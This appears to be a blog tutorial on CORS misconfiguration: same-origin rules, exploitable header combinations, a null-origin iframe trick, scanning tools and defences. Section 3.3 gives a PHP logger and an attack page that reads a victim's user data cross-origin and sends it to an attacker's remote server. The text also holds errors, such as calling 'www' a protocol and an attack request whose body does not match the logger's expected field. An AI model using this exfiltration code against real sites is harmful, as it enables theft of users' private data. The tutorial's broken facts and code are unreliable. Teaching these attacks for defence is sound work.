Cross-Origin Resource Sharing (CORS) can relax the same-origin policy of browsers, allowing communication between different websites and servers.
1. Same-Origin Policy#
The same-origin policy is a very important security policy that restricts how a document from one origin or its loaded scripts can interact with resources from another origin. In simple terms, the same-origin policy allows scripts running on a page, such as JavaScript, to access any methods and properties of other scripts in the same website (same origin) without restrictions. One point mentioned here is: same origin.
What is the same origin?
- Same protocol (e.g., both are www)
- Same domain (the domain and its subdomains are not the same origin)
- Same port (e.g., both are port 80)
It is actually the first few parts of the URL address.
That's all for the introduction to the same-origin policy. If you want to learn more details, you can click here.
2. What is CORS#
In this era of web 2.0, the restrictions of the same-origin policy are too many, so there is a technology that relaxes the restrictions of the same-origin policy, which is Cross-Origin Resource Sharing (CORS).
This mechanism allows browsers to send XMLHttpRequest requests to cross-origin servers by adding headers to the HTTP headers, thus overcoming the limitation of AJAX being limited to same-origin usage only.
When sending a request with a browser, the Origin field is automatically added to the request header, and the server verifies whether the Origin field is allowed. If it is allowed, cross-origin access can be performed.
The standard definition of CORS is: allowing clients to access resources across origins by setting HTTP header fields.
CORS defines two types of cross-origin requests:
- Simple request: Request resources using the specified request method.
- Non-simple request: Send an OPTIONS preflight request first to verify if the request origin is allowed by the server. After the preflight is passed, send the actual request to request resources.
Main header fields:
-
Origin: Indicates the origin of the preflight request or actual request.
-
Access-Control-Request-Method: Used for preflight requests to inform the server of the HTTP method used in the actual request.
-
Access-Control-Request-Headers: Used for preflight requests to inform the server of the headers carried in the actual request.
-
Access-Control-Allow-Origin: The value of this field can be the value of the Origin field in the request, or it can be "*" ( * means accepting any domain).
-
Access-Control-Allow-Credentials: This field is a boolean value. When it is true, it means that cookies can be included in the request and sent to the server.
3. CORS Attacks and Exploitation#
The ultimate goal of exploiting vulnerabilities is: the attacker can obtain sensitive information as long as the victim visits an attack page.
3.1 Exploitation with User Credentials#
Access-Control-Allow-Origin Value | Access-Control-Allow-Credentials Value | Exploitable |
---|---|---|
https://attacker.com | true | Yes |
null | true | Yes |
* | true | No |
3.2 Exploitation without User Credentials#
In this case, there is no cookie transmission, so it is difficult for the attacker to obtain cookies.
Access-Control-Allow-Origin Value | Exploitable |
---|---|
https://attacker.com | Yes |
null | Yes |
* | Yes |
The null origin in the above table is for webpage redirection or from local HTML files.
3.2.1 Exploitation with null Origin#
Use a sandboxed iframe to obtain the null origin.
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src='data:text/html,<script>**CORS request here**</script>’></iframe>
The above iframe generates a request similar to the following:
GET /handler
Host: target.local
Origin: null
When the server receives the null origin, it returns a response similar to the following:
HTTP/1.1 200 OK
Acess-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
3.3 Exploitation using XMLHttpRequest#
- Prepare logging code on the remote server (used to obtain sensitive information)
<?php
$data = $_POST['hack'];
if($data){
$myfile = fopen("hacker.html","w");
fwrite($myfile,$data);
fclose($myfile);
}
- Build an attack page
</head>
<body>
<script>
function cors() {
var xhr = new XMLHttpRequest();
var xhr1 = new XMLHttpRequest();
xhr.onreadystatechange = function () {
if(xhr.readyState == 4){
alert(xhr.responseText)
var data = xhr.responseText;
xhr1.open("POST","http://xxxxxx/hack.php",true);
xhr1.setRequestHeader("Content-type","application/x-www-form-urlencoded");
alert(data);
xhr1.send("hack123"+escape(data));
}
}
xhr.open("GET",'http://xxxx/userinfo.php');
xhr.send();
}
cors();
</script>
</body>
</html>
- When the victim visits the attack page, sensitive information will be logged on the server
4. Several Exploitation Tools#
- Burp Suite has built-in CORS detection, but it has a high false positive rate.
- X-ray detection
- CORScanner
5. Defense against CORS#
- Strictly verify the value of Origin from the request packet data.
- Do not configure the value of Access-Control-Allow-Origin as *.
- Avoid using Access-Control-Allow-Credentials: true.
- Avoid using CORS.
- Define a whitelist.
- Use secure protocols.
- Limit caching time.
- Only configure necessary headers.